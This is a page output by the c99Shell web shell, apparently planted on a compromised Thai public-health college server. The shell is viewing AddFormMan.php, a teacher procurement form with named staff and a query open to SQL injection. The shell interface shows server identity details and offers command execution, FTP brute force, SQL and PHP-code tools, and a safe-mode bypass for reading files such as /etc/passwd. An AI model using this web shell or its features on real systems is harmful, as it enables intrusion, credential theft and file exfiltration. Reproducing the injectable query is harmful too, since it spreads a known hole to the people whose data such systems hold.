!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/person/   drwxr-xr-x
Free 51 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddFormMan.php (11.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../include/Function.php" );
        
    
        
/**  Create Database Object  */
        
$dbObj = new DBConn;
        
        
/**  Config Table for This Page  */
        
$myTable "personal_tb";

        
$query " SELECT *  FROM $myTable  WHERE Teacher_code='$Teacher_code' ";
        
$result $dbObj->execQuery($query);
        
$rss $dbObj->fetchArray($result);
        
    } 
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<title>MIS -- Teacher</title>
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script language="javascript">
function checkData() {
var formObj = document.myForm;
    if( (formObj.No_in.value == "" ) && (formObj.Day.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.No_in.style.backgroundColor='#F1F9FC'; formObj.No_in.focus(); return false; }
    else if(formObj.No_in.value == "" ) { alert("กรุณากรอก เลขที่หนังสือ"); formObj.No_in.style.backgroundColor='#F1F9FC'; formObj.No_in.focus(); return false;} 
    else if(formObj.Day.value == "" ) { alert("กรุณากรอก จำนวนวัน"); formObj.Day.style.backgroundColor='#F1F9FC'; formObj.Day.focus(); return false;} 
    else if(formObj.Year_std.value == "" ) { alert("กรุณากรอก ปีงบประมาณ"); formObj.Year_std.style.backgroundColor='#F1F9FC'; formObj.Year_std.focus(); return false;}     
    else return true ;
}
</script>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
      <table width="780" border="0" cellspacing="0" cellpadding="0">
      <form id="myForm" name="myForm" method="post" action="" onSubmit="return checkData();">
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td style="padding-left:15px;"><strong><a href="index.php">หน้าหลัก</a> &raquo; <a href="Menu_Form.php?Teacher_code=<?=$Teacher_code;?>">แบบฟอร์มราชการ</a> &raquo; <a href="#">แบบฟอร์มบันทึกขอใช้เงินตามแผน/โครงการ</a> &raquo; <span class="NOTE">บันทึกจัดซื้อวัสดุ</span></strong></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center">
          <table width="750" cellpadding="0" cellspacing="0">
              <col width="42" />
              <col width="108" />
              <col width="265" />
              <col width="78" />
              <col width="52" />
              <col width="95" />
              <tr height="39">
                <td height="39" colspan="6" class="PATRON11" align="center">บันทึกข้อความ</td>
                </tr>
              <tr height="39">
                <td height="39" class="PATRON11" align="center">&nbsp;</td>
                <td height="39" class="PATRON11" align="center">&nbsp;</td>
                <td height="39" class="PATRON11" align="center">&nbsp;</td>
                <td height="39" colspan="3">ลำดับที่ ..........</td>
                </tr>
              <tr height="31">
                <td height="31" colspan="3" align="left">ส่วนราชการ วิทยาลัยการสาธารณสุขสิรินธร จังหวัดชลบุรี</td>
                <td colspan="3">(สำหรับจนท.พัสดุ ลงสมุดคุม )</td>
                </tr>
              <tr height="31">
                <td height="31" colspan="3" align="left">เลขที่ สธ 0202/0201/.......................................................................................</td>
                <td colspan="3" align="left">วันที่ 20 กรกฎาคม 2550</td>
              </tr>
              <tr height="31">
                <td height="31" colspan="3" align="left">เรื่อง รายงานความต้องการใช้พัสดุ</td>
                <td width="80"></td>
                <td width="60"></td>
                <td width="106"></td>
              </tr>
              <tr height="31">
                <td height="31" colspan="3" align="left">เรียน ผู้อำนวยการวิทยาลัยการสาธารณสุขสิรินธร จังหวัดชลบุรี</td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="28">
                <td width="30" height="28"></td>
                <td colspan="5" align="left">เนื่องจากกลุ่มงาน ทันตสาธารณสุข....... มีความประสงค์จะใช้ ( ประเภทวัสดุ ) .อะไหล่ของยูนิตทำฟัน คลินิคทันตกรรม</td>
              </tr>
              <tr height="28">
                <td height="28" align="center" bgcolor="#eeeeee">ลำดับ</td>
                <td width="120" align="center" bgcolor="#eeeeee">GPSC</td>
                <td width="352" align="center" bgcolor="#eeeeee">รายละเอียด</td>
                <td align="center" bgcolor="#eeeeee">ราคาต่อหน่วย</td>
                <td align="center" bgcolor="#eeeeee">จำนวน</td>
                <td align="center" bgcolor="#eeeeee">จำนวนเงิน</td>
              </tr>
              <tr height="28">
                <td height="28" align="center">1</td>
                <td>01027516000000</td>
                <td align="left">Hand pieces Angle Low speed</td>
                <td align="center">5,000.00</td>
                <td align="center">10</td>
                <td align="center">50,000.00</td>
              </tr>
              <tr height="28">
                <td height="28" align="center">2</td>
                <td>01031382000000</td>
                <td align="left">CONTRA ANGLE PANA</td>
                <td align="center">3,000.00</td>
                <td align="center">10</td>
                <td align="center">30,000.00</td>
              </tr>
              <tr height="28">
                <td height="28" align="center">3</td>
                <td>01020812000000</td>
                <td align="left">ชุด CONTROL HAND PIECES</td>
                <td align="center">1,800.00</td>
                <td align="center">10</td>
                <td align="center">18,000.00</td>
              </tr>
              <tr height="28">
                <td height="28">&nbsp;</td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td align="center">91,588.79</td>
              </tr>
              <tr height="28">
                <td height="28">&nbsp;</td>
                <td></td>
                <td></td>
                <td align="center">Vat 7%</td>
                <td></td>
                <td align="center">6,411.21</td>
              </tr>
              <tr height="28">
                <td height="28">&nbsp;</td>
                <td>&nbsp;</td>
                <td align="center">รวม</td>
                <td>&nbsp;</td>
                <td>&nbsp;</td>
                <td align="center">98,000.00</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">สิ่งของที่ต้องการเคยซื้อหรือสอบถามจากร้าน .......บริษัท เด็น- เมท จำกัด......................................................................................</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">1. เหตุผลและความจำเป็นที่ต้องการใช้ ( เพื่อใช้กับงาน/โครงการ/หลักสูตร ใด,ปีใด )...ทันตสาธารณสุข.................................................</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">...ในการซ่อมบำรุงยูนิตทำฟัน.................................................................</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">2. กำหนดเวลาที่ต้องการใช้ภายใน ..7.. วัน................................................................................................................................</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">3. ขอเสนอผู้ที่จะเป็นกรรมการตรวจรับพัสดุ .1. ท.ญ เพียงดาว คำนึงสิทธิ 2. นายวิรัต สำลี ..................................................................</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">3. ท.ญ สิรินธา สุภาพรณ์......................................................................................................................................................</td>
              </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">4. โดยเบิกจ่ายจากเงิน .......งบบำรุงการศึกษา............................................................ ข้อ 2.2....................................................</td>
                </tr>
              <tr height="28">
                <td height="28" colspan="6" align="left">5. ผู้เสนอใช้วัสดุ .............................................................. ( นาย / นาง / นส ....................วิรัต สำลี....................................... )</td>
              </tr>
              <tr height="28">
                <td height="28"></td>
                <td colspan="2" align="left">จึงเรียนมาเพื่อโปรดอนุมัติ</td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="28">
                <td height="28"></td>
                <td></td>
                <td colspan="2" align="left">ลงชื่อ ........................................................... หัวหน้ากลุ่มงาน</td>
                <td></td>
                <td></td>
              </tr>
              <tr height="28">
                <td height="28"></td>
                <td></td>
                <td align="center">( ทพญ.อารีรัตน์ ผลิตนนท์เกียรติ )</td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
              <tr height="28">
                <td height="28"></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
                <td></td>
              </tr>
            </table>
    </td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0105 ]--